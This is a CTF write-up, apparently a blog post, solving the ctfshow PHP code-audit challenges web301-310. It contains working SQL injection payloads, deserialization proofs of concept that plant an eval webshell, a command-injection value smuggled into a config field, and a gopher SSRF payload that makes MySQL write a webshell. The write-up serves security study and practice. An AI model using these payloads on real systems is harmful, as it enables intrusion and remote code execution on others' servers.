ctfshow code audit web301-web310 wp

Posted by greekhand on Thu, 03 Feb 2022 07:00:52 +0100

There may be a lot of nonsense. It mainly records the process of finding loopholes from so many files

Reference blog

https://blog.csdn.net/rfrder/article/details/113924013
https://blog.csdn.net/miuzzx/article/details/111352849
https://rainy-autumn.top/archives/913

web301

Audit the loopholes written by the group leader three years ago

seay didn't get anything out. He's numb

After a little look at the code, I focused on checklogin PHP and fun php

Although I can't understand fun PHP, he looks like this:

<?php
function sds_decode($str){
	return md5(md5($str.md5(base64_encode("sds")))."sds");
}
?>

Generally, there should be some problems with this kind of fund, so I searched the whole world to see if there is a fund PHP, the search result is no, this will be put down for the time being

The second is the checklogin PHP, at first glance, I felt that username had an injection point, so I ran with sqlmap. Use burp to capture and save the file, and then sqlmap - R web301 Txt, the pop-up option is yes all the way

The test found that there is blind injection based on time. Just run sqlmap all the way to the end.

While running, I continued to watch checklogin PHP, after all, this is code audit, not just running scripts

Note the key points:

$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);

if(!strcasecmp($userpwd,$row['sds_password'])){
	$_SESSION['login']=1;
}

userpwd passed in by user POST and SDS found in sql_ If the password is equal, login can be 1. What else do you want? Pass it directly

userid = 1' union select 1#
userpwd = 1

The home page is flag

In this way, my code audit ability is too poor. How many times did I do it right in the middle of the way.

web302

Modified place:

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

SDS is only carried out on the basis of the previous question_ Decode, this sds_decode is the fun I saw before php.

As you can see, its return value is MD5 ($str.md5 (base64_encode ("SDS")) “sds”)

Because you know that the value of str is 1, you can encrypt it yourself and then use the payload above

The final encryption result is d9c77c4e454869d5d8da3b4be79694d3

userid = 1' union select "d9c77c4e454869d5d8da3b4be79694d3"#
userpwd = 1

web303

Here's the source code. There's an sql file in it

INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

Here is the account admin and ciphertext

Second view sds_decode, I found that he also echoed SDS_ The value of decode ('admin ') is checked in after the previous payload is passed PHP just echoes the encrypted value of admin, which is equal to that in the sql file, indicating that the account password is admin/admin

You can log in directly, but no flag is found on the home page

Check the new file and find a dptadd PHP, which directly annotates an injection point

	//Injection point
	$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
	$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
	$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
	$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
	$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
	$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
	
	$dpt_name=$_POST['dpt_name'];
	$dpt_address=$_POST['dpt_address'];
	$dpt_build_year=$_POST['dpt_build_year'];
	$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
	$dpt_cert_number=$_POST['dpt_cert_number'];
	$dpt_telephone_number=$_POST['dpt_telephone_number'];
	$mysqli->query("set names utf-8");
	$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
	$result=$mysqli->query($sql);
	echo $sql;
	if($result===true){
		$mysqli->close();
		header("location:dpt.php");
	}else{
		die(mysqli_error($mysqli));
	}
	
	 }

It shows that there are injection points in this interface, and the unfiltered insert injection is directly in dptadd PHP just send a POST package

dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)#

web304

Added Global waf

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

ditto

dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_flaag')#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_flaag)#

web305

Download the new source code, you can see fun PHP adds filtering

function sds_waf($str){
	if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
		return false;
	}else{
		return true;
	}
}

Then I found multiple classes php

<?php

class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

Obviously, it can be written about horses during destruction. Include class The file of PHP is checklogin php

$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
	$user = unserialize($user_cookie);

POC:

<?php
class user{
    public $username;
    public $password;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a = new user('mazi.php','<?php eval($_POST[mumuzi]); ?>');
echo urlencode(serialize($a));

obtain

O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22mazi.php%22%3Bs%3A8%3A%22password%22%3Bs%3A30%3A%22%3C%3Fphp+eval%28%24_POST%5Bmumuzi%5D%29%3B+%3F%3E%22%3B%7D

Then ant sword Mazi PHP to mumuzi, check the database, and the account secret is root

web306

Start using mvc structure

What is mvc...

Digging lotus root

This checklogin contains a serve PHP and serve include dao and fun PHP and dao contain class PHP and config php

As you can see, Dao PHP has an sql query statement in get_ user_ password_ by_ The username function is called in service php

However, I didn't find any place where the sql statement could be echoed. I thought it might be blind annotation, but wp found that it was still deserialization

class log{
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}

}
	public function __destruct(){
		$this->conn->close();
	}

I have always misunderstood this $this - > conn - > close(), which leads to the failure to find the vulnerability correctly. It turns out that there is a close() in the log class..

You can notice that you can write such as title and info here, so you can write horse directly. Note index PHP is Base64 first_ Decode() and then deserialize

<?php

class dao{
    private $conn;
    public function __construct()
    {
        $this->conn=new log();
    }
}

class log{
    public $title='mazi.php';
    public $info='<?php eval($_POST[mumuzi]);?>';
}

$a = new dao();
echo base64_encode(serialize($a));

obtain

TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo4OiJtYXppLnBocCI7czo0OiJpbmZvIjtzOjI5OiI8P3BocCBldmFsKCRfUE9TVFttdW11emldKTs/PiI7fX0=

Direct cookie to index PHP is OK. You don't need to log in

Flag is in flag php

web307

The group leader divided the php files into the following categories. The global search unserialize found that there was deserialization in the exit login file

Follow it up, and finally in Dao PHP finds that the value passed in will eventually enter the shell_exec function, the parameter passed in is config PHP cache_dir

public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}

Here you might as well use semicolon to partition, and then pass in the command you want to pass in

Because the last question flag is in flag PHP, and the group leader just optimized the code, so there's no more horse passing here

<?php

class config{
    public $cache_dir = ';mv /var/www/html/flag.php /var/www/html/flag.txt;';
}

class dao{
    private $config;
    public function __construct()
    {
        $this->config = new config();
    }
}

$a = new dao();
echo base64_encode(serialize($a));

obtain

TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NTA6IjttdiAvdmFyL3d3dy9odG1sL2ZsYWcucGhwIC92YXIvd3d3L2h0bWwvZmxhZy50eHQ7Ijt9fQ==

Then visit flag Txt

web308

The title clearly indicates the need for a shell

seay

But open Dao PHP found that it can't be used

Then found in fun In PHP, an additional function is added

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

Then I searched checkUpdate globally, only Dao php

#dao.php
	public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}
#config.php
class config{
	public $update_url = 'https://vip.ctf.show/version.txt';
}

I can't understand it. I read wp it

The utilization point is still in index php

#index.php
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $lastVersion=$service->checkVersion();
}

SSRF (server side request forgery) is a security vulnerability constructed by an attacker to form a request initiated by the server. Generally, the target of SSRF attack is the internal system that cannot be accessed from the external network. (it is precisely because it is initiated by the server that it can request the internal system connected to it and isolated from the external network)

The checkUpdate function has an ssrf vulnerability because it can curl

So gopherus generates payload to call mysql
https://github.com/tarunkant/Gopherus

Construct POC

<?php

class config{
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4e%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%6d%75%6d%75%7a%69%5d%29%3b%20%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%61%7a%69%2e%70%68%70%22%01%00%00%00%01';
    }

class dao{
    private $config;
    public function __construct(){
        $this->config = new config();
    }
}

echo base64_encode(serialize(new dao()));

obtain

TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3ODc6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNGUlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlNmQlNzUlNmQlNzUlN2ElNjklNWQlMjklM2IlMjAlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlNmQlNjElN2ElNjklMmUlNzAlNjglNzAlMjIlMDElMDAlMDAlMDAlMDEiO319

web309

Need to take shell,308 My method doesn't work,mysql There's a password

The file is 308. Really, I really don't know what to do with this kind of pure cute new. I can only watch wp it

This is fastcgi

FastCGI is a scalable and high-speed interface for communication between HTTP server and dynamic scripting language (FastCGI interface is socket (file socket or ip socket) under Linux). The main advantage is to separate dynamic language from HTTP server.

Other operations are the same as above

web310

File or 308 file

This time, in the same way, access flag Txt shows just a joke 😃

So I wrote a horse and went in to see it

After the ant sword was connected, it was strange that the virtual terminal could not be used. I wanted to execute the command to find the flag

But finally, I found the flag in / var in file management. Double click to open it

This concludes the entire code audit section

Topics: PHP Web Security CTF Information Security ctfshow